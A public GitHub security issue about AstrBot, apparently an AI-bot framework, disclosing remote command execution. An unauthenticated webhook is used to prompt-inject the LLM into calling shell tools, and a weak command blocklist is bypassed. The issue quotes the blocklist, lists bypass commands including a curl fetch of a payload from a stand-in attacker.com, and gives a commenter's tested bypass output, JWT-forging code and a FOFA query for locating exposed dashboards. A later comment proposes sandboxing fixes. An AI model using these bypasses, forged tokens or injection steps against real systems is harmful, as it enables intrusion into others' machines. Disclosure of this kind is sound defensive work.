Skip to content

[SECURITY] Critical RCE via Shell Blocklist Bypass + Unauthenticated Webhook #8627

Closed

Description

@Ilyasslamti

AstrBot - Remote Command Execution via Shell Blocklist Bypass

Severity: Critical (CVSS 9.1)
Affected Component: astrbot/core/computer/booters/local.py
CWE: CWE-78 (OS Command Injection)
Researcher: Yaqeen / Manadger Tech

Summary

AstrBot"s "Computer Use" feature allows shell execution via LocalShellComponent.exec() using a blocklist-based approach to prevent dangerous commands. The blocklist is trivially bypassable, leading to unrestricted RCE.

When combined with the unauthenticated webhook endpoint (/api/platform/webhook/{uuid}), an external attacker can inject malicious messages into the LLM pipeline and achieve RCE.

Root Cause

File: astrbot/core/computer/booters/local.py (lines 25-44, 88-135)

_BLOCKED_COMMAND_PATTERNS = [
    " rm -rf ", " rm -fr ", " rm -r ", " mkfs", " dd if=",
    " shutdown", " reboot", " poweroff", " halt", " sudo ",
    ":(){:|:&};:", " kill -9 ", " killall ",
]

def _is_safe_command(command: str) -> bool:
    cmd = f" {command.strip().lower()} "
    return not any(pat in cmd for pat in _BLOCKED_COMMAND_PATTERNS)

Then at line 121:

result = subprocess.run(
    command,       # user-controlled, no sanitization beyond blocklist
    shell=True,    # executes through system shell
)

Blocklist Bypasses

Blocked Bypass
rm -rf / rm -rf $HOME or python3 -c "import os; os.system(""rm -rf /"")"
sudo (with spaces) su -c or sudo without wrapping spaces
All blocked `curl http://attacker.com/payload.sh

Attack Chain

  1. Unathenticated webhook at /api/platform/webhook/{uuid} accepts any POST
  2. Prompt injection via webhook message convinces LLM to call ExecuteShellTool
  3. Blocklist bypass allows arbitrary command execution

CVSS 3.1: 9.1 (Critical)

AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Report by Yaqeen - Autonomous Security Agent for Manadger Tech S.A.R.L

Activity

  1. added
    area:core
    on Jun 6, 2026
  2. justinwoo280 commented on Jun 7, 2026

    @justinwoo280

    以下是对这篇报告的一些补充。

    1.Python执行为零过滤。

    上述简要提及了 python3 -c 作为一种绕过方式,但 LocalPythonComponent 实际上是一个完全独立的执行路径:

    在 astrbot/core/computer/booters/local.py:139-174部分可以发现这些。

    class LocalPythonComponent(PythonComponent):
            async def exec(
                self,
                code: str,
                kernel_id: str | None = None,
                timeout: int = 30,
                silent: bool = False,
            ) -> dict[str, Any]:
                def _run() -> dict[str, Any]:
                    result = subprocess.run(
                        [os.environ.get("PYTHON", sys.executable), "-c", code],
                        timeout=timeout,
                        capture_output=True,
                    )

    这部分代码会将 code 参数直接传递给 python3 -c <code>,以AstrBot进程的完整权限运行,没有隔离。虽然需要配置支持 tool calling 的 LLM Provider和配置 Webhook 平台,需要将默认为 false的computer_use_runtime打开,但是我感觉这绝对不是个好设计.....

    2.对于上述Shell黑名单绕过的校验

    我测试了几种常见的拼接方法,发现确实有效。

    命令: r""m --version
          _is_safe_command: True
          exit_code: 0
          stdout: rm (GNU coreutils) 9.7
    
        [绕过: env whoami]
          命令: env whoami
          _is_safe_command: True
          exit_code: 0
          stdout: root
    
        [绕过: /usr/bin/whoami]
          命令: /usr/bin/whoami
          _is_safe_command: True
          exit_code: 0
          stdout: root

    虽然我没有验证那几种,但是也应该是有效的。

    3.攻击链

    首先,前置条件的请求端点 /api/platform/webhook/{uuid}中UUID字段,在 astrbot/core/utils/webhook_utils.py:80 中生成:

    platform_cfg["webhook_uuid"] = uuid.uuid4().hex[:16]

    是64 bit 随机熵,本身不可预测。

    但是在config.py:1591-1595中可以看到:

    async def get_configs(self):
            ...
            return {
                "metadata": metadata,
                "config": config,  # 完整 AstrBotConfig
                "platform_i18n_translations": platform_i18n_translations,
            }

    返回的 config 对象包含:

        {
          "dashboard": {
            "jwt_secret": "d81834147ed20d1203617aec74a1b7ba8822fde85859258b7d28173577b6e......",
            "pbkdf2_password": "pbkdf2_sha256$600000$...",
            "totp": "..."
          }
        }

    因为Astrbot本身为一用户Admin模型,没有用户组等权限等级逻辑,如果攻击者盗取了其密码,可以通过上述的方法拿到持久化的鉴权密钥。

    在auth.py:399-409中:

    def generate_jwt(self, username):
            payload = {
                "username": username,
                "exp": datetime.datetime.now(datetime.timezone.utc)
                + datetime.timedelta(days=7),
            }
            jwt_token = self.config["dashboard"].get("jwt_secret", None)
            token = jwt.encode(payload, jwt_secret, algorithm="HS256")
            return token

    我们可以看到JWT验证只检查签名和过期时间,不检查 token_type,没有吊销机制。而 jwt_secret 存储在配置中,修改密码不会轮换 jwt_secret。也就是说,一旦泄露密码,可以让攻击者获得长期化后门。

    import jwt, datetime
        forged = jwt.encode({
            "username": "astrbot",
            "exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*10)
        }, "d81834147ed20d1203617aec74a1b7ba8822fde85859258b7d28173577b6e......", algorithm="HS256")

    攻击者可以伪造任意有效期的 token。即使管理员发现异常改了密码,这个 token 依然有效。

    然后正常构造以下请求体

    curl http://localhost:6185/api/config/get \
            -H "Authorization: Bearer <forged_token>"

    响应体如下:

     platform[0]: type=wecom, webhook_uuid=c6ecfc9cc9714e19

    在astrbot/core/astr_agent_tool_exec.py:187-241 中的工具集成代码显示,当 enable_computer_use=True 且 runtime="local"
    时
    ,ExecuteShellTool(通过 LocalShellComponent)和 LocalPythonTool(通过 LocalPythonComponent)均被暴露给 LLM:

        if runtime == "local":
            shell_tool = tool_mgr.get_builtin_tool(ExecuteShellTool)
            python_tool = tool_mgr.get_builtin_tool(LocalPythonTool)  #  零过滤
            read_tool = tool_mgr.get_builtin_tool(FileReadTool)
            write_tool = tool_mgr.get_builtin_tool(FileWriteTool)
            edit_tool = tool_mgr.get_builtin_tool(FileEditTool)
            grep_tool = tool_mgr.get_builtin_tool(GrepTool)
            return { ... }

    总结一下,虽然有RCE的执行路径,但是也算是有一定的前置条件,也不是无责任,但是对于使用enable_computer_use=True来使用LLM执行命令的用户还是有很大的风险,特别是暴露在公网上的端点,本身其接入并不需要公网环境,完全可以使用一般内网穿透作为入站,对其公网入站做严格限制。更何况如果使用弱口令的用户仅需攻击者合法登录一次便可获得持久化的后门。

    例如使用FOFA测绘引擎可以看到的这些幸运用户

    (body="docs.astrbot.app/faq.html" || body="astrbot_dashboard_jwt" || (port="6185" && body="astrbot")) && title=="AstrBot - 仪表盘"

    也请开发者们尽快核实并响应,谢谢。

  3. Ilyasslamti commented on Jun 7, 2026

    @Ilyasslamti
    Author

    [Security Architecture Review] - Critical RCE via LLM Tool Execution

    Hi @justinwoo280 (great catch) and AstrBot maintainers.

    From an Enterprise Security perspective, the fundamental flaw here is not the weakness of the shell blacklist, but the architectural decision to execute dynamically generated, AI-driven code directly on the Host OS. Blacklisting shell commands is an unwinnable battle.

    To mitigate this Critical RCE and protect exposed instances, the local runtime must be entirely re-architected.

    Mandatory Enterprise-Grade Mitigations:

    1. Absolute Sandboxing (Zero-Trust Execution):
      LocalPythonComponent and ExecuteShellTool MUST NEVER use subprocess.run on the host. Execution must be routed through an isolated, ephemeral Sandbox environment.

      • Implementation: Wrap the execution in an unprivileged Docker container (e.g., docker run --rm --network none --memory="256m" python:3.10-alpine python -c "...").
      • Drop all capabilities (--cap-drop=ALL) and strictly mount only the necessary temporary directories.
    2. Deprecate the Blacklist:
      Remove the _is_safe_command logic. It provides a false sense of security. Rely entirely on architectural isolation. If a process runs in a zero-privilege, network-less container, rm -rf / will only destroy the ephemeral container, keeping the host safe.

    3. Human-in-the-Loop (HITL) for Host Modifications:
      If operations must affect the host (e.g., FileWriteTool), they cannot be automated silently. Introduce a mandatory WebSocket/Dashboard prompt that requires explicit Admin approval (HITL) before the LLM can commit writes to the host filesystem.

    4. Default Secure Posture:
      Ensure enable_computer_use is heavily guarded. Activating it should throw a massive console warning about FOFA exposure, strongly recommending binding the dashboard to 127.0.0.1 or placing it behind an auth-gated reverse proxy, not 0.0.0.0.

  4. anka-afk commented on Oct 14, 2026

    @anka-afk
    Member

    您好,感谢您对 AstrBot 项目的关注。

    经过审查,该 Issue 不符合我们的提交规范,将被关闭。

    该 Issue 存在以下问题之一或多项:

    • 正文内容过于简略或空泛,缺乏足够的技术细节供维护者评估
    • 内容为提问、求助或讨论,而非明确的 Bug 报告或功能建议
    • 标题仅有 [Bug]/[Feature] 标签,缺少实际的标题描述
    • 正文仅包含外部链接,无内联内容
    • 属于插件发布通知、安全报告等非标准 Issue 类型

    请您按照 Issue 模板 重新提交一份规范的报告:

    • Bug 请使用「🐛 报告 Bug」模板,填写完整的问题描述、复现步骤、版本信息、环境信息和错误日志
    • 功能建议请使用「🎉 功能建议」模板,填写功能描述、使用场景和检查清单
    • 安全漏洞请通过项目的安全报告渠道提交,而非公开 Issue

    我们会及时处理您重新提交的规范报告。


    Hello, thank you for your interest in the AstrBot project.

    After review, this Issue does not comply with our submission guidelines and will be closed.

    This Issue has one or more of the following problems:

    • The body is too brief or vague, lacking sufficient technical details for maintainers to evaluate
    • The content is a question, help request, or discussion rather than a clear Bug report or feature suggestion
    • The title contains only a [Bug]/[Feature] label with no actual description
    • The body contains only external links with no inline content
    • The Issue type is non-standard (plugin announcement, security report, etc.)

    Please resubmit a properly formatted report following the Issue template:

    • For bugs, use the "Bug Report" template with complete problem description, reproduction steps, version info, environment details, and error logs
    • For feature suggestions, use the "Feature Request" template with feature description, use case, and checklist
    • For security vulnerabilities, please use the project's security reporting channel instead of public Issues

    We will address your resubmitted report promptly.

  5. added
    bug
    on Oct 14, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area:corebug

    Type

    No type

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions